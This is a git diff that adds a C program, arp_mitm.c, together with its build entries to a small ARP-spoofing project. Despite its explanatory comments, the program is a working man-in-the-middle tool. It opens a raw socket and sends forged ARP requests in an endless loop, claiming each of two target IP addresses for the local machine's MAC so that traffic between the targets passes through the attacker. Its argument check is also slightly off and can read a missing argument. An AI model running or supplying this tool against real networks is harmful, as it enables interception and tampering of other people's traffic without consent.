ARP man-in-the-middle attack

.gitignore

@@ -2,3 +2,4 @@
 *.o
 simple_request
 arp_spoof
+arp_mitm

Makefile

@@ -3,14 +3,16 @@ CFLAGS=-g -Wall
 
 .PHONY: clean all
 
-all: simple_request arp_spoof
+all: simple_request arp_spoof arp_mitm
 
 simple_request: simple_request.o arp.o
 
 arp_spoof: arp_spoof.o arp.o
 
+arp_mitm: arp_mitm.o arp.o
+
 %.o: %.c %.h
 	$(CC) -c $< $(CFLAGS)
 
 clean:
-	rm *.o simple_request arp_spoof
+	rm *.o simple_request arp_spoof arp_mitm

arp_mitm.c

@@ -0,0 +1,132 @@
+/* arp-spoof/arp_mitm.c */
+
+#include "arp.h"
+
+int main(int argc, char **argv)
+{
+
+  /* ARGUMENT PARSING
+     - network interface to use
+     - target IP address
+  */
+  
+  if (argc < 3) {
+    printf("[FAIL] Too few arguments\n"
+	   "Usage: %s <interface> <target IP address 1> <target IP address 2>\n", argv[0]);
+    exit(EXIT_FAILURE);
+  }
+
+  char *if_name = argv[1];
+
+  char *target1_ip_string = argv[2];
+  struct in_addr target1_ip;
+  if (!inet_pton(AF_INET, target1_ip_string, &target1_ip)) {
+    perror("[FAIL] inet_pton() (badly formatted IP address)");
+    exit(EXIT_FAILURE);
+  }
+
+  char *target2_ip_string = argv[3];
+  struct in_addr target2_ip;
+  if (!inet_pton(AF_INET, target2_ip_string, &target2_ip)) {
+    perror("[FAIL] inet_pton() (badly formatted IP address)");
+    exit(EXIT_FAILURE);
+  }
+  printf("ARP man-in-the-middle attack on interface %s between %s and %s\n",
+	 if_name, target1_ip_string, target2_ip_string);
+
+
+
+  /* ====================================================================== */
+
+  /* RAW SOCKET CREATION */
+  
+  /* We open the raw socket */
+  /* AF_PACKET: This is a raw Ethernet packet (Linux only, requires root)
+     SOCK_DGRAM: The link-layer header is constructed automatically
+     (to build it ourselves, we could have used SOCK_RAW)
+     ETH_P_ALL: We want to listen to every EtherType (here, we could 
+     also have chosen ETH_P_ARP) */
+  int sockfd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
+  if (sockfd < 0) {
+    perror("[FAIL] socket()");
+    exit(EXIT_FAILURE);
+  }
+#ifdef DEBUG
+  printf("[OK] Raw Ethernet socket started successfully\n");
+#endif
+
+
+
+  
+  /* ====================================================================== */
+
+  /* INFORMATION ON THE LOCAL COMPUTER:
+     - index number of the network interface
+     - local MAC address
+  */
+
+  /* Since this is very low-level, we can't use the usual interface
+     name (e.g. "eth0"), so we need to get the index number of the
+     ethernet interface. */
+  struct ifreq ifrindex;
+  size_t if_name_len = strlen(if_name);
+  if (if_name_len < sizeof(ifrindex.ifr_name)) {
+    memcpy(ifrindex.ifr_name, if_name, if_name_len);
+    ifrindex.ifr_name[if_name_len] = 0;
+  }
+  else {
+    printf("[FAIL] Error: interface name is too long\n");
+  }
+  /* We use ioctl() with SIOCGIFINDEX */
+  if (ioctl(sockfd, SIOCGIFINDEX, &ifrindex) == -1) {
+    perror("[FAIL] ioctl()");
+    exit(EXIT_FAILURE);
+  }
+  int ifindex = ifrindex.ifr_ifindex;
+#ifdef DEBUG
+  printf("[OK] Index number of the Ethernet interface %s: %d\n", if_name, ifindex);
+#endif
+
+  /* We get the MAC address using ioctl() (again) with SIOCGIFHWADDR */
+  struct ifreq ifrhwaddr;
+  if (if_name_len < sizeof(ifrhwaddr.ifr_name)) {
+    memcpy(ifrhwaddr.ifr_name, if_name, if_name_len);
+    ifrhwaddr.ifr_name[if_name_len] = 0;
+  }
+  else {
+    printf("[FAIL] Error: interface name is too long\n");
+  }
+  if (ioctl(sockfd, SIOCGIFHWADDR, &ifrhwaddr) == -1) {
+    perror("[FAIL] ioctl()");
+    exit(EXIT_FAILURE);
+  }
+  unsigned char *macaddr = (unsigned char *) &ifrhwaddr.ifr_hwaddr.sa_data;
+#ifdef DEBUG
+  printf("[OK] Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
+	 macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]);
+#endif
+
+  /* We build 2 pseudo-local IP addresses to impersonate both
+     targets */
+  struct sockaddr_in *ipaddr1 = malloc(sizeof(struct sockaddr_in));
+  struct sockaddr_in *ipaddr2 = malloc(sizeof(struct sockaddr_in));
+  ipaddr1->sin_family = AF_INET;
+  ipaddr1->sin_port = htons(5746);
+  ipaddr1->sin_addr = target1_ip;
+  ipaddr2->sin_family = AF_INET;
+  ipaddr2->sin_port = htons(5746);
+  ipaddr2->sin_addr = target2_ip;
+
+
+
+  /* ====================================================================== */
+
+  while(1) {
+    send_arp_request(sockfd, ifindex, ipaddr1, macaddr, target2_ip);
+    sleep(1);
+    send_arp_request(sockfd, ifindex, ipaddr2, macaddr, target1_ip);
+    sleep(1);
+  }
+
+  return EXIT_SUCCESS;
+}